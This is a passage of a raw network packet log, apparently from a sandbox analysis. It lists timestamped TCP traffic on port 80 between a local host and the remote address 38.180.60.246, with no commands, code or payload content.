Jul 15, 2024 00:48:25.132635117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132644892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132647038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132658958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132671118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132677078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132684946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132694960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132697105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132711887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132715940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132725000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132730007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132738113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132759094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132787943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.133388042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.133399963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.133410931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.133439064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.133461952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.133519888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.133532047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.133543968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.133555889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.133559942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.133586884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.235008001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.235025883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.235038042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.235049963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.235117912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.235141039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.235153913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.235167027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.235172987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.235203981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.235232115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236037016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236049891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236063004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236074924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236099958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236124992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236175060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236187935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236200094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236212969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236228943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236241102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236264944 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236478090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236498117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236510992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236532927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236546040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236635923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236646891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236659050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236670971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236681938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236685991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236701012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236727953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.236952066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236963987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.236975908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237003088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237025976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237108946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237122059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237133980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237157106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237181902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237258911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237272978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237303019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237323046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237605095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237653971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237709999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237721920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237732887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237744093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237756968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237759113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237771034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237791061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237801075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237895966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237906933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237919092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.237936020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.237963915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.238032103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.238044024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.238055944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.238068104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.238080978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.238102913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.238125086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.239995956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240010977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240024090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240065098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.240098953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.240120888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240133047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240144968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240159035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240161896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.240185022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.240214109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.240318060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240331888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240366936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.240443945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240456104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240467072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240488052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240495920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.240504980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240510941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.240518093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240531921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.240535975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.240555048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.240582943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.241058111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.241067886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.241080046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.241094112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.241106033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.241116047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.241146088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.241399050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.241410017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.241425037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.241446018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.241447926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.241472006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.241497040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.241987944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.241998911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.242014885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.242027044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.242038965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.242043018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.242050886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.242072105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.242083073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.242130995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.242145061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.242170095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.242182970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.243056059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.243062973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.243074894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.243087053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.243112087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.243143082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.243153095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.243174076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.243187904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.243191957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.243201971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.243221998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.243247032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.244452000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244466066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244479895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244498968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244513035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.244539022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.244604111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244616985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244628906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244648933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.244668961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.244754076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244764090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244802952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.244914055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244925976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244937897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244950056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244959116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.244961977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244972944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.244982004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.244985104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.245002985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.245031118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.245668888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.245680094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.245690107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.245702982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.245728970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.245754004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.245953083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.245965958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.245976925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.245990992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.246002913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.246021986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.246364117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.246414900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.246537924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.246547937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.246561050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.246572971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.246583939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.246587038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.246608019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.246637106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.246840954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.246854067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.246896982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.247459888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.247514009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.247585058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.247596025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.247606993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.247620106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.247632980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.247646093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.247685909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.247709036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.247710943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.247752905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.325759888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.325779915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.325792074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.325866938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.325884104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.325897932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.325910091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.325915098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.325925112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.325944901 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.325975895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.326086044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.326133013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.326864004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.326875925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.326888084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.326901913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.326921940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.326948881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327049017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327061892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327074051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327090025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327095032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327114105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327150106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327363014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327375889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327388048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327404022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327430964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327522039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327533960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327544928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327558041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327563047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327570915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327594995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327615023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327832937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327846050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327857018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.327881098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327914000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.327997923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328008890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328020096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328033924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328042984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328052998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328068972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328102112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328135967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328147888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328160048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328181028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328207016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328310966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328322887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328334093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328346014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328360081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328362942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328397989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328674078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328727007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328758955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328769922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328780890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328794956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328800917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328819990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328844070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.328943968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328957081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.328991890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.329087019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.329097986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.329135895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.330378056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330431938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.330509901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330521107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330527067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330539942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330566883 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.330593109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.330647945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330660105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330672026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330693007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.330718994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.330801964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330813885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330849886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.330955982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330967903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330977917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.330991030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.331002951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.331006050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.331017017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.331033945 CEST	49704	80	192.168.2.5	38.180.60.246
